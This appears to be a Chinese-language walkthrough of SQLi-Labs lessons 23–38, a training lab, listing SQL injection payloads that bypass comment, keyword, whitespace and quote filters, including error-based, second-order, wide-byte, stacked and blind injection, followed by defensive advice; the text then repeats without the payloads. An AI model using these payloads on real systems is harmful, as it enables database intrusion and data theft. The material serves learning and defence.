SQLi_Labs-3.Advanced Injections
字数 860 2025-08-11 17:40:05

SQL注入高级技巧与绕过方法详解

1. 注释符被过滤的绕过方法

在Less-23中,#--+被过滤时,可以使用or "1"="1"来闭合SQL语句:

-1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1

这种方法通过逻辑或运算确保整个条件为真,同时闭合了引号。

2. 二次注入攻击

Less-24展示了二次注入的典型案例:

  1. 创建一个恶意用户:admin'#,密码为123456
  2. 修改此用户密码时,SQL语句变为:
    UPDATE users SET passwd="New_Pass" WHERE username ='admin'#'xxxx
    
  3. #注释掉了后续条件,导致实际修改的是admin用户的密码

3. 关键词过滤绕过技巧

3.1 逻辑运算符替换

Less-25中orand被过滤时:

admin'||updatexml(1,concat(0x7e,(select @@version),0x7e),1)%23

使用||代替or&&代替and

3.2 双写绕过

0' union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata;%23

通过双写被过滤的关键词部分(informationinfoorrmation)来绕过

4. 空格与注释过滤的绕过

4.1 换行符替代空格

Less-26中,使用%0a代替空格:

0'||updatexml(1,concat(0x7e,(Select%0a@@version),0x7e),1)||'1'='1

4.2 其他空白字符

Less-26a使用%a0绕过:

0%27)%a0union%a0select%a01,database(),2||('1

5. UNION和SELECT过滤的绕过

5.1 大小写混合

Less-27中:

0'%0AunIon%0AselEct%0A1,group_concat(schema_name),2%0Afrom%0Ainformation_schema.schemata;%00

5.2 双写绕过

selEct%0agroup_concat(schema_name)%0afrom%0Ainformation_schema.schemata

6. 参数解析差异利用

Less-29至Less-31利用了Tomcat与Apache解析参数的差异:

  • Tomcat取第一个参数值
  • Apache取最后一个参数值
?id=1&id=0' union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23

7. 宽字节注入

Less-32至Less-37展示了GBK编码环境下的宽字节注入:

0%df%27%20or%201=1%23

原理:%df与反斜杠\组合成GBK字符,使单引号逃逸

8. 堆叠注入

Less-38展示了堆叠注入(Stacked Queries):

1';create table test38 like users;%23

这种技术允许执行多条SQL语句,危害极大

9. 报错注入技术

多种报错注入方法:

updatexml(1,concat(0x7e,(select @@version),0x7e),1)

利用XML函数故意制造错误来泄露信息

10. 盲注技术

当直接注入不可用时:

0'||left(database(),1)='s'%26%26'1'='1

通过布尔条件判断逐步获取信息

防御建议

  1. 使用参数化查询
  2. 实施严格的输入验证
  3. 对特殊字符进行转义
  4. 使用最小权限原则
  5. 禁用错误信息回显
  6. 使用WAF防护
  7. 定期进行安全审计

以上技术仅用于学习防御方法,请勿用于非法用途。

SQL注入高级技巧与绕过方法详解 1. 注释符被过滤的绕过方法 在Less-23中, # 和 --+ 被过滤时,可以使用 or "1"="1" 来闭合SQL语句: 这种方法通过逻辑或运算确保整个条件为真,同时闭合了引号。 2. 二次注入攻击 Less-24展示了二次注入的典型案例: 创建一个恶意用户: admin'# ,密码为123456 修改此用户密码时,SQL语句变为: # 注释掉了后续条件,导致实际修改的是admin用户的密码 3. 关键词过滤绕过技巧 3.1 逻辑运算符替换 Less-25中 or 、 and 被过滤时: 使用 || 代替 or , && 代替 and 3.2 双写绕过 通过双写被过滤的关键词部分( information → infoorrmation )来绕过 4. 空格与注释过滤的绕过 4.1 换行符替代空格 Less-26中,使用 %0a 代替空格: 4.2 其他空白字符 Less-26a使用 %a0 绕过: 5. UNION和SELECT过滤的绕过 5.1 大小写混合 Less-27中: 5.2 双写绕过 6. 参数解析差异利用 Less-29至Less-31利用了Tomcat与Apache解析参数的差异: Tomcat取第一个参数值 Apache取最后一个参数值 7. 宽字节注入 Less-32至Less-37展示了GBK编码环境下的宽字节注入: 原理: %df 与反斜杠 \ 组合成GBK字符,使单引号逃逸 8. 堆叠注入 Less-38展示了堆叠注入(Stacked Queries): 这种技术允许执行多条SQL语句,危害极大 9. 报错注入技术 多种报错注入方法: 利用XML函数故意制造错误来泄露信息 10. 盲注技术 当直接注入不可用时: 通过布尔条件判断逐步获取信息 防御建议 使用参数化查询 实施严格的输入验证 对特殊字符进行转义 使用最小权限原则 禁用错误信息回显 使用WAF防护 定期进行安全审计 以上技术仅用于学习防御方法,请勿用于非法用途。